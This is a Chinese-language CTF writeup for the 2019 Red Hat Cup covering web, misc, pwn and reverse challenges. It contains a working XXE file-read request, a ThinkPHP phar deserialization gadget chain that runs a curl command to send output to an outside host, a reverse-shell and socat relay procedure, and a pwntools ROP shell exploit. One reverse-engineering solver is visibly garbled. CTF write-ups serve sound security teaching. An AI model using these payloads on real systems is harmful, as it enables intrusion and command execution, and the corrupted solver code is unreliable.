专栏首页ChaMd5安全团队2019红帽杯 writeup
原创

2019红帽杯 writeup

Web

Ticket_System

解题思路 XXE可以读文件

POST /postXML HTTP/1.1
Host: 118.190.135.20
Content-Length: 143
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://118.190.135.20

Content-Type: application/xml;

用 php://filter 来读源码:

POST /postXML HTTP/1.1
Host: 118.190.135.20
Content-Length: 204
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://118.190.135.20
Content-Type: application/xml;charset=UTF-8
Referer: http://118.190.135.20/ticket
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=eu5755jfof1o6df83mtr4e984n
Connection: close

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/proc/self/cwd/index.php" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>

hint in /hints.txt

You'r clever. But not enough. Try RCE!

可以rce,在博客上找到的⼀条5.2.0的链,phar反序列化,上传phar.xml(改后缀),然后xxe⽤

Phar协议读,但是是www-data权限:

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }
    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");


        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model {
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}
namespace {
    $Conver = new think\model\Pivot("curl http:// -d `whoami`;");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($payload));
}

后续参考*CTF的read_flag过程,根目录下存在一个有可执行权限的readflag二进制文件,拉回来分析以后与*CTF一模一样,也是需要在100ms里把计算结果输入进去。于是参考*CTF中关于此步的思路,上传一个静态编译的socat,把readflag的标准输入输出转为socket通道,也就是类似于pwn题的做法

反弹两个shell,一个执行socat

 ./socat tcp-l:9999,fork exec:/readflag

另一个连接转发出来的端口进行交互交互
#!/usr/bin/perl -w
use IO::Socket;
my $sock=IO::Socket::INET->new(
      PeerAddr =>'127.0.0.1',
      PeerPort => 9999,
      Proto =>'tcp')or die $@;
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res;
$data = eval($res);
print $data; # 打印计算结果
$sock->send($data);
$sock->recv($res, 1024);
print $res;
$sock->send($data);
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res; // 打印flag
$sock->close or die $!;
# 退出
exit 0; 

Misc

恶臭的数据包

把握手包提取出来,之后用hashcat跑包。跑出密码为12345678

在wireshark中设置如下: Edit -> Preferences -> Protocols -> IEEE802.11 -> Edit

解密数据包,发现内部有个上传的图片,提取出来

结尾又发现一个zip

zip要密码,尝试了,不是伪加密,爆破了1-8位数字

在数据包的Cookie里发现JWT,于是访问他的网站

{
    "hint": "for security, I set my password as a website which i just pinged before"
}

服务器上找到一个后门,直接写一句话进去,

压缩包密码就是这个域名

玩具车

波形为高低电平,对应小车的运行状态

将wav中的高低电平转成0和1

然后根据图中所示原理

分析出四个轮子的转动情况(除停止之外有四种状态)

然后编写exp画出小车运动轨迹(为了缩小运行时间,可以每隔30个信号取一个有效信号)

flag为小车运行轨迹(uuid格式)

WAV.py

import wave

file_name = 'C:\\Users\\a1516\\Desktop\\hmb\\car\\car\\L293_2_EnB.wav'
f = wave.open(file_name,'rb')
params = f.getparams()
nchannels, sampwidth, framerate, nframes = params[:4]
str_data = f.readframes(nframes)
a = len(str_data)/2
data = ''
j=1
for i in range(int(a)):
    da = str_data[i*2]
    j+=1
    if(j!=30):
        continue
    else:
        j=1
    if da == 0:
        data += '0'
    else:
        data += '1'

a = open('C:\\Users\\a1516\\Desktop\\hmb\\car\\car\\2EnB.txt','w')
a.write(data)
a.close()
f.close()

main.py

import turtle

a = open('1A1.txt','r')
A1_1 = a.read()
a.close
a = open('1A2.txt','r')
A2_1 = a.read()
a.close
a = open('1B1.txt','r')
B1_1 = a.read()
a.close
a = open('1B2.txt','r')
B2_1 = a.read()
a.close
a = open('1EnA.txt','r')
EnA_1 = a.read()
a.close
a = open('1EnB.txt','r')
EnB_1 = a.read()
a.close

a = open('2A1.txt','r')
A1_2 = a.read()
a.close
a = open('2A2.txt','r')
A2_2 = a.read()
a.close
a = open('2B1.txt','r')
B1_2 = a.read()
a.close
a = open('2B2.txt','r')
B2_2 = a.read()
a.close
a = open('2EnA.txt','r')
EnA_2 = a.read()
a.close
a = open('2EnB.txt','r')
EnB_2 = a.read()
a.close


turtle.setup(5000,500,0,0)
turtle.pensize(0.1)
turtle.speed(100)
turtle.right(90)
turtle.penup()
turtle.goto(-600,0)
turtle.pendown()

for i in range(len(EnA_1)):
    go_l_1 = 0;
    go_l_2 = 0;
    go_r_1 = 0;
    go_r_2 = 0;
    #print(len(EnA_1))
    #print(i)
    b = EnA_1[i]+A1_1[i]+A2_1[i]
    if(EnA_1[i]=='0'):
        go_l_1=0
    elif(A1_1[i] == A2_1):
        go_l_1=0
    elif(b == '101'):
        #print('正转+1')
        go_l_1=1
    elif(b=='110'):
        #print('反转-1')
        go_l_1=-1
    else:
        print('错误!!!')
    #print('go_l_1 = '+str(go_l_1))

    b = EnA_2[i]+A1_2[i]+A2_2[i]
    if(EnA_2[i]=='0'):
        go_l_2=0
    elif(A1_2[i] == A2_2):
        go_l_2=0
    elif(b == '101'):
        #print('正转+1')
        go_l_2=1
    elif(b=='110'):
        #print('反转-1')
        go_l_2=-1
    else:
        print('错误!!!')
    #print('go_l_2 = '+str(go_l_2))

    b = EnB_2[i]+B1_2[i]+B2_2[i]
    if(EnB_2[i]=='0'):
        go_r_2=0
    elif(B1_2[i] == B2_2):
        go_r_2=0
    elif(b == '101'):
        #print('正转+1')
        go_r_2=1
    elif(b=='110'):
        #print('反转-1')
        go_r_2=-1
    else:
        print('错误!!!')
    #print('go_r_2 = '+str(go_r_2))

    b = EnB_1[i]+B1_1[i]+B2_1[i]
    if(EnB_1[i]=='0'):
        go_r_1=0
    elif(B1_1[i] == B2_1):
        go_r_1=0
    elif(b == '101'):
        #print('正转+1')
        go_r_1=1
    elif(b=='110'):
        #print('反转-1')
        go_r_1=-1
    else:
        print('错误!!!')
    #print('go_r_1 = '+str(go_r_1))

    if(go_l_1==1 and go_l_2==1 and go_r_1==1 and go_r_2==1):
        turtle.fd(0.02)
    elif(go_l_1==-1 and go_l_2==-1 and go_r_1==-1 and go_r_2==-1):
        turtle.fd(-0.02)
    elif(go_l_1==1 and go_l_2==1 and go_r_1==-1 and go_r_2==-1):
        turtle.left(0.33)
    elif(go_l_1==-1 and go_l_2==-1 and go_r_1==1 and go_r_2==1):
        turtle.right(0.33)
    else:
        print(go_l_1,go_l_2,go_r_1,go_r_2,flag_right,flag_left)

turtle.done()

PWN

three

from pwn import *
context.log_level = 'debug'

#p = process('./pwn')
p = remote()
p.sendlineafter('Give me a index:','3')
migStack = '\x89\xcc\xc3'
p.sendafter('Three is good number,I like it very much!',migStack)
binsh_len = len('/bin/sh\x00')
pop_ecx_ebx = 0x08072fb2
pop_eax_edx_ebx = 0x080568b4
int80 = 0x08049903
shellcode = p32(pop_ecx_ebx) + p32(0) + p32(0) +p32(pop_eax_edx_ebx) + p32(0xb) + p32(0) + p32(0x80f6ce1) + p32(int80)
p.sendlineafter('Leave you name of size:','500')
p.sendlineafter('Tell me:',shellcode +'\x00'+'/bin/sh\x00')
p.interactive()

Revers

xx

解题思路

64位控制台程序。大致流程为:输入后检查长度为19字节,检查前4字节是否在设定字符集中,并copy到新变量上并00填充至16字节。然后用这个16字节数据为密码加密19字节数据(经处理后实际加密24字节),加密算法特征明显,为XXTEA,与题名相合。最后加密字节组经乱序后进行某种异或操作,并与常量比较。

题中用到的字符集为:qwertyuiopasdfghjklzxcvbnm1234567890。

至XTEA加密未作改更变19字节00填充至20字节,再加上4字节小端表示的原长度,所以加密的原文是24字节。

异或计算过程是将24字节分成8组,每组3字节,每组异或值相同。第0组取值为0,即不异或,第i组(0<i<8),异或值取异4字节的前i字节

的异或值,如记24字节记为a,第2组异或值取a[0]^a[1]。

XXTEA的加密密钥前4字节为原始输入的前4字节,得到密文可枚举。但想来如果输入符合正常flag格式,前4字节即为flag。尝试解密成功。反解如下:>from operator import xor
from py_teadimport xxtea
aef mtin():
  = [ 1 0xce,0xbc 0x40,
   1    0x5b 6x7c 0x3a,
 6      0x95,0xc0,0xef 
       20x9b,0x40 0x20,
 1      0x97,0xf8,0x02 
 1      0x35,0x23,0x7, 
     2  0x03,0xc8,0xe7 
 1      0x56,0x59 0xfa]
 1b = list(a)
  for i in range(8,,):
    for j in range(3):
      tmp = reduce(xor b[:i])
     1a[3*i+j] ^=  tmp


  idx = [2,0,3,5,6,4,7,7 80,, 71 9,64 10 ,5 ,3 58 1, 1, 17,22,0, ,3 21]
 2enc = [0]*48
  key =2'flag'+'\x00'*12
  for i in range(04):>    enc[idx[i]] = a[i]
  printxxtea.xxtea_decrypt(''.join(map(chr,denc),key,endian='<')

easyRE

b程序为64位ELF格式。在main函数中有两次输入,求解后知道此非flag,main函数也非关键所在。两次输入求解结果为:

Info:The first four chars are `flag`

https://bbs.pediy.com/thread-254172.htm

然后查看init_array,发现其中函数有取timestamp并保存到全局变量,且此变量还在另一个函数中使用了,此函数在finit_array列表中,看着像有着什么,其伪代码如下:un  signed __int64 sub_400D35()
{
  unsigned __int64 result; // rax
  unsigned __int64 v1; // rt1
  unsigned int v2; // [rsp+Ch] [rbp-24h]
  signed int i; // [rsp+10h] [rbp-20h]
  signed int j; // [rsp+14h] [rbp-1Ch]
  unsigned int v5; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v2 = sub_43FD20() - qword_6CEE38;
  for ( i = 0; i <= 1233; ++i )
  {
    sub_40F790(v2);
    sub_40FE60();
    sub_40FE60();
    v2 = sub_40FE60() ^ 0x98765432;
  }
  v5 = v2;
  if ( (v2 ^ byte_6CC0A0[0]) == 'f' && (HIBYTE(v5) ^ byte_6CC0A3) == 'g' )
  {
    for ( j = 0; j <= 24; ++j )
      sub_410E90(byte_6CC0A0[j] ^ *(&v5 + j % 4));
  }
  v1 = __readfsqword(0x28u);
  result = v1 ^ v6;
  if ( v1 != v6 )
    error();
  return result;
}

结合main函数中解出的前4字节为flag的hint,上面代码python计算如下:>>> a=[0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F,
...   0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E,
...   0x72, 0x3C, 0x32, 0x45, 0x5B]
>>> b = map(lambda x,y:ord(x)^y ,'flag',a[0:4]
...
... )
>>> b
[38, 89, 65, 49]
>>> for i in range(len(a)):
...   a[i] ^= b[i%4]
...
>>> a
[102, 108, 97, 103, 123, 65, 99, 116, 49, 118, 101, 95, 68, 101, 102, 101, 110, 53, 101, 95, 84, 101, 115, 116, 125]
>>> print ''.join(map(chr,a))

calc

解题思路

题此题是64位c++控制台程序。一共3次输入,记为x,y,z。每次输入后紧接着就是乘和乘方计算,其实是没什么用的,干

扰而已。从地址0x140002B31开始,计算才有用。

先是检查x < z和y < x,接着计算两个算式:

(x+y)**3 -3*y*x**2 - 3*x*y**2得(z+4)**3 - 12*z**2 - 48*z - 2
最后校验两个算式结果相等,所以最终得到一个三元方程:(x+y)**3 -3*y*x**2 - 3*x*y**2 = (z+4)**3 - 12*z**2 - 48*z - 22

化得:

x**3 + y**3 + (-z)**3 = 42

合今年的新闻:

搜索到那个亮闪闪的计算式:(-80538738812075974)^3 + 80435758145817515^3 + 12602123297335631^3 = 422
所以:x=80435758145817515
y=12602123297335631 
z=80538738812075974
>>> md5("804357581458175151260212329733563180538738812075974").hexdigest()
'951e27be2b2f10b7fa22a6dc8f4682bd''

childR

解题思路

此题64位控制台程序。题目意思大概是输入经乱序后重组成经修饰后的c++符号字串,然后通过UnDecorateSymbolName调用转成非修饰的完整符号字串,最后通过两个表校验。

先通过最后校验得到非修饰的完整c++符号字串:  l = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
  h = '55565653255552225565565555243466334653663544426565555525555222'
  t = '''1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'''
  name = ''
  for i in range(len(l)):
    name += chr(t.index(l[i])+t.index(h[i])*23)
  print name

得到 private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)。

想得到修饰后的符号,可以写个dll啊。得通过查看编译好的dll,到?修饰后的符号字串:My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z。

然后就是确定乱序的规则了。通过动态发现乱序取值顺序是固定的,于是直接输入31个不同字符,通过结果获取到乱序的取值规则。输入到name的变换序号(

>>> t1='1234567890abcdefghijklmnopqrstu'
>>> t2='666738686939346A6B306C6D6135326E6F6270716336727364747565373331'.decode('hex')
>>> idx=[]
>>> for i in t2:
...   idx.append(t1.index(i))
...
>>> idx
[15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0]

修饰后的符号字串转成原始输入:

>>> d='?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'
>>> idx
[15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0]
>>> dd = [0]*31
>>> for i in range(31):
...   dd[idx[i]] = d[i]
...
>>> ''.join(dd)
'Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP'
>>> from hashlib import md5
>>> md5('Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP').hexdigest()
'63b148e750fed3a33419168ac58083f5'

Snake

解题思路

查看Assembly-CSharp.dll代码后发现并没有特别的东西。在Plugins目录下发现Interface.dll文件,简单静态分析后确定关键在此文件的GameObject导出函数中,其中Assembly-CSharp.dll中调用如下:Debug.Log(Interface.GameObject((int)base.gameObject.transform.position.x, (int)base.gameObject.transform.position.y));

参数为坐标。

实际此导出函数只用到了x坐标,通过简单调试,发现x取值在[0,199]之间可能得flag。关键计算代码为大数计算,有点难看,干脆无脑枚举。于是写了个dll调用的枚举程序,跑得有点慢。

招新小广告

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 红帽杯线下AWD plus writeup

    上传附件处限制了文件类型,发现可添加允许添加后缀名。尝试了php,php5等类似添加后,都会被更改为x类型,最后尝试添加phtml,成功添加。

    Khan安全团队
  • 第二届红帽杯4Re + 1Pwn的writeup

    通过加密函数的分组、及具体算法里的swap,mul,add我操作,看出是idea算法。

    ChaMd5安全团队
  • 网络安全学习网址

    http://www.sec-wiki.com/skill/安全技能(里面渗透逆向编程都有介绍) http://blog.knownsec.com/Knowns...

    没有故事的陈师傅
  • 2019强网杯Upload题Writeup

    强网杯过去有一段时间了,开始时因为在外地,没什么时间,下飞机的时候刚好比赛结束,所以题目基本没碰,难得暑假有时间了,把以前在PHP反序列化上的不足弥补了一下,打...

    Elapse
  • CTF入门指南(0基础)

    ctf入门指南 如何入门?如何组队? capture the flag 夺旗比赛 类型: Web 密码学 pwn 程序的逻辑分析,漏洞利用windows、lin...

    Angel_Kitty
  • 2019强网杯Web部分Writeup

    这里首先想到的就是上传木马,但是经过尝试只能上传图片马,并且不能直接利用,经过抓包发现cookie是序列化内容,所以应该是通过cookie传递序列化内容,经过服...

    FB客服
  • 红帽杯-恶臭的数据包

    文件下载链接:http://ctfdown.heikanet.com/misc/21545457451.7z

    Elapse
  • 每个分析师都会遇到的7个面试谜题

    现在,想在分析行业里分得一杯羹是非常不容易的事情。约三成的分析公司(特别是顶尖公司)会要求应聘者解决谜题,并借此评估他们的能力。从中他们能够观察出你是否逻辑清...

    灯塔大数据
  • 2018红帽杯线下攻防赛Web总结

    安恒网络空间安全讲武堂
  • 蓝桥杯嵌入式扩展板简介

    由于蓝桥杯嵌入式的基础板的资源非常少,所以增加了一个扩展板。但是扩展板一般是国赛会考,省赛一般不会考扩展板。本文是对扩展板上的模块分布进行简单的介绍。

    用户5935416
  • 查看linux系统版本命令全集

    如果确定当前的linux系统是红帽系列,那么可以使用该方法,别的linux系统不支持,比如Ubuntu。特别是通过方法一确定是linux系列后,想进一步知道该系...

    liuzhen007
  • 精选程序员面试常问的逻辑题

    版权声明:本文为博主原创文章,转载请注明原文作者和原文地址链接,谢谢。 https://bl...

    蛮三刀酱
  • Debug客栈 2017-2018年度干货分享

    此篇文章是个人在大学接触计算机期间学习计算机知识进行的一次对计算机各个领域的资料的总结,自己在这一年半的事件中收获了不少有趣的资料,还有许许多多优质的公共平台,...

    Meng小羽
  • 二进制学习系列-栈溢出之2018红帽杯

    程序就是让你输名字和职业,然后有一段可以给你修改的选项,是不是觉得每个fgets都限制了个数,所以溢出点在哪里?

    安恒网络空间安全讲武堂
  • IBM 以 340 亿美元正式收购 RedHat,谁将成为最大赢家?

    继Salesforce以65亿美元收购MuleSoft、微软以75亿美元收购GitHub后,北京时间7月9日晚间,史上最大的软件企业并购案宣告结束:IBM官方宣...

    昱良
  • IT比试概率数学题

    http://www.cnblogs.com/renyuan/archive/2012/09/24/2699654.html

    bear_fish
  • OpenShift Prometheus(Operator)对接应用监控数据实践

    最近在实施一个项目,将客户从原有的数人云 mesos+marathon 迁移至 Openshift,迁移的主要原因有两个,一是现有mesos+marathon平...

    DevOps云学堂
  • CVE-2020-15148 Yii2框架反序列化漏洞

    如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。

    字节脉搏实验室
  • 2019“嘉韦思杯”上海市网络安全邀请赛WriteUp

    尝试提交 gid=1'报错, gid=1or1=1回显正常,直接使用 sqlmap进行测试,存在以下注入方式:

    安恒网络空间安全讲武堂

扫码关注云+社区

领取腾讯云代金券